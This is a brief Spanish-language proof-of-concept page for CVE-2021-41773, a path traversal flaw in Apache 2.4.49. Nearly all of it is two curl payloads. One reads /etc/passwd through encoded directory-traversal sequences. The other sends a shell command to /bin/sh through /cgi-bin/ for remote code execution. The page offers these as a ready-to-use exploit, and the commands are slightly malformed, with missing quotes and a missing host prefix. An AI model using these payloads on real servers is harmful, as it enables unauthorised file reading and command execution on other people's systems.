cve-2021-41773
Vulnerabilidad de Path Traversal CVE-2021-41773 en Apache 2.4.49.
RCE POC
PoC
Payload
curl -s --path-as-is ":[PORT]/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl -s --path-as-is --data "echo;Command" "[IP]:[PORT]/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh
Síguenos